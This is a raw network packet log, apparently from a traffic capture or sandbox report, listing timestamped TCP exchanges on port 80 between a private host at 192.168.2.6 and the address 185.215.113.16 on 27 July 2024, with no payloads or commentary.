Jul 27, 2024 03:19:22.370076895 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.370088100 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.370100975 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.370105982 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.370120049 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.370135069 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.370141029 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.370150089 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.370183945 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.370184898 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.370265961 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.370280981 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.370296001 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.370296955 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.370296955 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.370310068 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.370326042 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.370330095 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.370342016 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.370352030 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.370356083 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.370377064 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.370403051 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.370556116 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.370594978 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.370610952 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.370625973 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.370646954 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.370663881 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.370728016 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.370742083 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.370757103 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.370764971 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.370771885 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.370781898 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.370796919 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.370814085 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.371514082 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.371566057 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.371567965 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.371582985 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.371607065 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.371611118 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.371620893 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.371629953 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.371635914 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.371645927 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.371649027 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.371665001 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.371670961 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.371696949 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.371886015 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.371900082 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.371921062 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.371942043 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.371943951 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.371956110 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.371970892 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.371985912 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.371997118 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.371997118 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.372009993 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.372030973 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.372095108 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.372108936 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.372123003 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.372132063 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.372138023 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.372148991 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.372154951 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.372167110 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.372169018 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.372184038 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.372191906 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.372219086 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.380760908 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.380820990 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.380839109 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.380852938 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.380876064 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.380878925 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.380889893 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.380903959 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.380912066 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.380918980 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.380939960 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.380955935 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.420011997 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.420037031 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.420053005 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.420067072 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.420068979 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.420080900 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.420090914 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.420095921 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.420103073 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.420111895 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.420125008 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.420136929 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.420140028 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.420154095 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.420154095 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.420169115 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.420180082 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.420181036 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.420203924 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.420207024 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.420222998 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.420228004 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.420242071 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.420248985 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.420257092 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.420264006 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.420272112 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.420279980 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.420286894 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.420295954 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.420300961 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.420312881 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.420315981 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.420326948 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.420330048 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.420342922 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.420351028 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.420358896 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.420367002 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.420373917 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.420382977 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.420389891 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.420406103 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.420420885 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.660824060 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.666098118 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.901988029 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902029037 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902045012 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902055025 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902061939 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902076006 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902098894 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902107954 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902321100 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902337074 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902350903 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902357101 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902369022 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902390957 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902398109 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902417898 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902434111 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902439117 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902450085 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902456999 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902466059 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902487040 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902515888 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902520895 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902538061 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902560949 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902561903 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902571917 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902578115 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902592897 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902595043 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902604103 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902609110 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902628899 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902651072 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902667999 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902683020 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902698994 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902714014 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902726889 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902731895 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902745962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902760029 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902772903 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902776003 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902798891 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902800083 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902815104 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902817965 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902839899 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902841091 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902853966 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902856112 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902872086 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902879000 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902887106 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902899027 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902901888 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902923107 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902924061 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902940035 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902946949 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902962923 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902971029 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.902980089 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902993917 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.902995110 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903009892 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903038025 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903038025 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903048038 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903055906 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903069973 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903085947 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903090000 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903100967 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903111935 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903115988 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903127909 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903131008 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903142929 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903156996 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903173923 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903232098 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903247118 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903261900 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903265953 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903280020 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903280973 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903300047 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903304100 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903315067 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903318882 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903335094 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903337002 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903350115 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903357983 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903363943 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903374910 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903389931 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903393030 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903405905 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903409958 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903420925 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903424025 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903441906 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903443098 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903455973 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903458118 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903474092 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903475046 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903486967 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903508902 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903510094 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903523922 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903542995 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903548002 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903556108 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903563976 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903578043 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903579950 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903593063 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903594017 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903609991 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903615952 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903625011 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903630018 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903646946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903650999 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903661966 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903665066 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903677940 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903691053 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903692007 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903707981 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903729916 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903731108 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903745890 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903760910 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903765917 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903789997 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903794050 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903822899 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903855085 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903870106 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903883934 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903892994 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903898954 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903906107 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903920889 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903935909 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.903963089 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903978109 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903992891 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.903999090 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904007912 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904012918 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904027939 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904042959 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904083014 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904098034 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904113054 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904117107 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904129028 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904131889 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904145002 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904149055 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904162884 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904175043 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904215097 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904230118 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904244900 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904249907 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904262066 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904273033 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904275894 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904285908 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904290915 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904299974 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904306889 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904314995 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904321909 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904328108 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904336929 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904344082 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904351950 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904360056 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904375076 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904387951 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904433966 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904448986 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904463053 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904469967 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904495955 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904505014 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904584885 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904598951 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904619932 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:22.904623032 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:22.904638052 CEST	49713	80	192.168.2.6	185.215.113.16
